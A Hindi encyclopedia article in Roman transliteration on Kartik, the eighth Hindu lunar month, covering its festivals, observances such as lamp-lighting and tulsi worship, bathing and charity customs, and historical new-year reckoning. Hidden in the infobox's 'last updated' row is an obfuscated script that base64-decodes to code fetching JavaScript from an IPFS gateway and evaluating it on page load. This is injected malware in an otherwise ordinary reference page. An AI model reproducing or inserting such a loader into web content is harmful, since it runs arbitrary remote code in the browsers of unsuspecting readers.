कार्तिक
kartik
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| vivaran | kartik hindoo panchaang ke anusar varsh ka athavaan mah hai. yah samast tirthoan tatha dharmik krityoan se bhi pavitr mana jata hai. |
| aangrezi | aktoobar-navambar |
| hijari mah | zilahijj - muharram |
| vrat evan tyohar | karava chauth, akshay navami, ahoee ashtami, dipavali, govardhan pooja, yam dvitiya (bhaiya dooj), devotthan ekadashi, gopashtami |
| pichhala | ashvin |
| agala | margashirsh |
| vishesh | kartik mas mean vrianda yani tulasi ki pooja ka kafi mahattv hai. bhagavan vishnu tulasi ke hriday mean shaligram ke roop mean nivas karate haian. svasthy ko samarpit is mas mean tulasi pooja v tulasi dal ka prasad grahan karane se shreshth svasthy prapt hota hai. |
| any janakari | kartik mas mean samast tyagane yogy vastuoan mean maans vishesh roop se tyajy hai. shridatt ke 'samayapradip' [1] tatha krityaratnakar [2] mean uddhrit mahabharat ke anusar kartik mas mean maansabhakshan, vishesh roop se shukl paksh mean, tyag dene se isaka puny shat varsh tak ke tapoan ke barabar ho jata hai. |
| adyatan | 12:24, 5 navambar 2016 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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kartik hindoo panchaang ke anusar varsh ka athavaan mah hai. yah mah b da hi pavitr mana jata hai. yah samast tirthoan tatha dharmik krityoan se bhi pavitratar hai. isaka mahatmy skand puran [3], narad puran[4], padm puran[5] mean bhi milata hai. bharatiy sanskriti mean samay ki ganana ki paddhati chandrama ki gati par adharit hai, jabaki pashchaty deshoan mean yahi paddhati saur ki gati se prabhavit hai. chooanki chandrama prithvi ke sabase nikat sthit ek akashiy piand hai, isalie hamare poorvajoan ne ise samay ki ganana ka sabase sookshm sadhan man kar isaki gati par adharit barah masoan ki rachana ki. shastroan mean kaha gaya hai ki kartik mas mean manushy ki sabhi avashyakataoan, jaise- uttam svasthy, parivarik unnati, dev kripa adi ka adhyatmik samadhan b di asani se ho jata hai.
- kartik mas ko damodar mas bhi kaha jata hai. dekhean damodar mas
moksh ka dvar
kartik mas ko manushy ke moksh ka dvar bhi kaha gaya hai. 'mumuksh' arthath kisi asha se eeshvar ki aradhana karane vale manushy ki akaankshaean jab eeshvariy kripa se poorn ho jati haian aur unaka kshay bhi nahian hota to manushy ko sadgati prapt hoti hai. yahi moksh ki vastavik avastha hai. kartik mas mean eeshvariy aradhana se sabhi kuchh prapt karane ki vyapak sanbhavanaean hoti haian. is mas mean svasthy ki prapti hetu bhagavan dhanvantari ki aradhana ka pravadhan aur yam ko santusht kar poorn ayu prapt kar lene ki adhyatmik vyavastha hai. vahian doosari or amavasya ko devi lakshmi ko prasann kar sampannata ko prapt karane ka marg bhi hai. sath hi isi mas ki ekadashi ko vigat char mah se soye dev bhi jagrit ho jate haian aur sabhi poorv aradhanaoan ka shashvat phal pradan karate haian. [[chitr:Ahoi-Astami-1.jpg|thumb|left|ahoee ashtami]] shastroan mean varnan milata hai ki kartik mean bhagavan shrihari ki aradhana v unaka mangal gan karane se ve char mah ki yog nidra se jagate haian. chooanki bhagavan vishnu manushy ke lie sarv kalyanakari dev haian, isilie unake jagate hi sabhi samasyaoan ke samadhan ka marg khul jata hai. is mas mean pratyek ghar ki shakti arthath lakshmi svaroopa mahilaean yadi bhagavan ka dip jala kar stuti karati haian to kartik mas mean poore parivar ki unnati aur saanmajasy ka dvar khulata hai. sabhi ko khud ki aur apane sambandhi parijanoan se sambandhit avashyakataean aur akaankshaean hoti haian. eeshvariy aradhana mean sakam aradhana ka bhi apana ek alag mahattv hai. eeshvar ke jagane ke thik pahale dhanvantari ka avataran divas dhanateras, yam ko samarpit yam dip dan, krishna vijay ki pratik narak chaudas aur lakshmi poojan ka din dipavali manaya jata hai.
adhyatmik mahattv
kartik poornima ka adhyatmik mahattv hai. is din bhagavan vishnu ka matsyavatar hua tha. spasht hai ki jal mean vicharan kar rahe matsy ki bhaanti manushy ko lachilepan aur viparit se viparit paristhiti mean svayan ko vichalit n hone ki prerana dene ke lie hi bhagavan shrihari ne yah roop dharan kiya tha. kartik mas ki poornima ko hi bhagavan shiv ne tripur namak rakshas ka vadh kiya tha aur 'tripurari' kahalae. mahadev dvara tripur ka vadh sanket hai ki manushy ko tin doshoan- kam, krodh v lobh [6] ka nash karane ke lie hamesha prayas karate rahana chahie. kartik mas ke lagabhag bis din manushy ko dev aradhana dvara svayan ko pusht karane ke lie prerit karate haian.
mas ke panchakarm
kartik mas mean dev aradhana hetu paanch acharanoan ke palan ka bahut mahattv bataya gaya hai. in acharanoan ke palan se bhagavan vishnu prasann hote haian aur jivan mean vastavik pragati ki sanbhavanaean prabal hoti haian.
- dip dan - kartik mas ki pahale pandrah dinoan ki ratean varsh ki sabase kali ratoan mean se hoti haian. lakshmi pati ke jagane ke thik poorv ke in pandrah dinoan mean pratidin dip ka prajjvalan karane se jivan mean nee disha milati hai.
- tulasi pooja - kartik mas mean vrianda yani tulasi ki pooja ka kafi mahattv hai. bhagavan vishnu tulasi ke hriday mean shaligram ke roop mean nivas karate haian. svasthy ko samarpit is mas mean tulasi pooja v tulasi dal ka prasad grahan karane se shreshth svasthy prapt hota hai.
- bhoomi shayan - bhoomi par sone se manushy vilasita mean jine ki pravritti se kuchh dinoan ke lie mukt hota hai. isase svasthy labh hota hai aur sharirik v manasik vikar bhi door hote haian.
- brahm acharan ka palan - brahm acharan ke palan ka arth hai, kisi bhi aise acharan se door rahane ke lie svayan ko prerit karana, jisase eeshvariy akarshan mean kami n ae.
- dvidalan nishedh - kartik mas mean daloan ka sevan nahian karana chahie. is mah mean samany halke-phulke bhojan ko uttam bataya gaya hai.
vishesh biandu
[[chitr:Karva-Chauth-1.jpg|thumb|karava chauth]]
- kartik mas mean ek hazar bar yadi ganga nadi mean snan karean aur magh mas mean sau bar snan karean, vaishakh mas mean narmada mean karo d bar snan karean to un snanoan ka jo phal hota hai, vah phal prayag mean kumbh ke samay par snan karane se prapt hota hai. sampoorn kartik mas mean grih se bahar kisi nadi athava sarovar mean snan karana chahie.
- gayatri mantr ka jap karate hue havishyann keval ek bar grahan karana chahie.
- vrati is vrat ke acharan se varsh bhar ke samast papoan se mukt ho jata hai.[7].
- kartik mas mean samast tyagane yogy vastuoan mean maans vishesh roop se tyajy hai. shridatt ke 'samayapradip' [8] tatha krityaratnakar [9] mean uddhrit mahabharat ke anusar kartik mas mean maansabhakshan, vishesh roop se shukl paksh mean, tyag dene se isaka puny shat varsh tak ke tapoan ke barabar ho jata hai. sath hi yah bhi kaha jata hai ki bharat ke samast mahanh raja, jinamean yayati, ram tatha nal ka nam vishesh roop se ullekhaniy hai, kartik mas mean maans bhakshan nahian karate the. isi karan se unako svarg ki prapti huee. narad puran [10] ke anusar kartik mas mean maans khane vala chandal ho jata hai. [11]
- shiv, chandi, soory tatha anyany devoan ke mandiroan mean kartik mas mean dip jalane tatha prakash karane ki b di prashansa ki gayi hai.
- samast kartik mas mean bhagavan keshav ka muni (agasty) pushpoan se poojan kiya jana chahie. aisa karane se ashvamedh yajn ka puny prapt hota hai[12].
- kartik poornima sharad rritu ki antim tithi hai. jo bahut hi pavitr aur punyadayini mani jati hai. is avasar par kee sthanoan par mele lagate haian.
- sonapur mean harihar kshetr ka mela tatha gadhamukteshvar, merath, bateshvar, agara, pushkar, ajamer adi ke vishal mele isi parv par lagate haian.
- brajamandal aur krishnaopasana se prabhavit any pradeshoan mean is samay rasalila hoti hai.
- is tithi par kisi ko bhi bina snan aur dan ke nahian rahana chahie.
- snan pavitr sthan evan pavitr nadiyoan mean karana chahie evan dan apani shakti ke anusar karana chahie. n keval brahman ko apitu nirdhan sambandhiyoan, bahin, bahin ke putroan, pita ki bahinoan ke putroan, phoopha adi ko bhi dan dena chahie.
- pushkar, kurukshetr tatha varanasi ke tirth sthan is kartiki snan aur dan ke lie ati mahattvapoorn haian.
- kartikey vrat kartik mah ki shashthi ko is vrat ka anushthan kiya jata hai. svami kartikey isake devata haian.[13]
adhunik kal mean varsh ganana
- adhunik kal mean varsh ka arambh bharat ke vibhinn bhagoan mean kartik ya chaitr mas mean hota hai. prachin kaloan mean vibhinn deshoan mean vibhinn upayogoan ke lie vibhinn masoan mean varsh ka arambh hota tha. kuchh vaidik vachanoan se prakat hota hai ki ganana poornimant thi aur varsh phalgun poornima ke uparant arambh hota tha aur basant varsh ki pratham rritu tha[14]
- kalanirnay[15] mean madhav ne kaha hai ki ved poornimant mas par aroodh haian.
- smritichandrika[16] ka kathan hai ki dakshinapath mean amant evan uttarapath (uttar bharat) mean poornimant ganana hoti hai.
- vedaangajyotish[17] ke mat se yug (paanch varsh) ka pratham varsh magh shukl (makar sankraanti ya uttarayan) se arambh hota hai.
- albarooni[18] ka ullekh hai ki chaitr, bhadrapad, kartik, margashirsh se bharat ke vibhinn bhagoan mean varsh ka arambh hota hai.
- kautily[19] ne kaha hai ki prashasan ke ay-vyay-nirikshan-karyalay mean karm sanvatsar chandr tha jo ashadh ki poornima ko samapt hota tha.
- mahabharat, vanaparv[20] mean varsh ke chaitrarambh ka ullekh hai. yah sambhav hai ki varsh margashirsh se arambh hota tha, kyoanki anushasan,[21] ne margashirsh se kartik tak ke ek bhakt vrat ke phaloan ka varnan kiya hai.
- krityaratnakar[22] ne brahm puran ko uddhrit kar likha hai ki kritayug mean margashirsh ki pratipada se varsh arambh hota tha.[23]
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tika tippani aur sandarbh
- ↑ samayapradip (46
- ↑ krityaratnakar(pri. 397-399
- ↑ skand puran ke vaishnav khand ka navam adhyay
- ↑ narad puran (uttarardh) adhyay 22;
- ↑ padm puran 4.92
- ↑ jo vat, pitt aur kaph se utpann hote haian
- ↑ vishnudharmottar, 81, 1-4; krityakalpataru, 418 dvara adaghrit; hemadri, 2.762
- ↑ samayapradip (46
- ↑ krityaratnakar(pri. 397-399
- ↑ narad puran (uttarardh, 21-58
- ↑ 'bakapanchak'
- ↑ tithitattv 147
- ↑ hemadri, vratakhand, 1.605; vratakalavivek, prishth 24
- ↑ taittiriy brahman 1|1|2|13; kaushitaki brahman 5|1; shaankhayan brahman 19|3; tandy brahman 5|9|7-12 adi).
- ↑ kalanirnay pri. 61
- ↑ smritichandrika shraddh, pri. 377
- ↑ vedaangajyotish 1|5
- ↑ sachau 2, pri. 8-9
- ↑ kautily, arthashastr 2|6, pri. 63
- ↑ mahabharat, vanaparv130|14-16
- ↑ mahabharat. anushasan, 106|17-30
- ↑ krityaratnakar pri. 452
- ↑ pustak- dharmashastr ka itihas bhag-4|lekhak- paandurang vaman kane | prishth sankhya- 321
sanbandhit lekh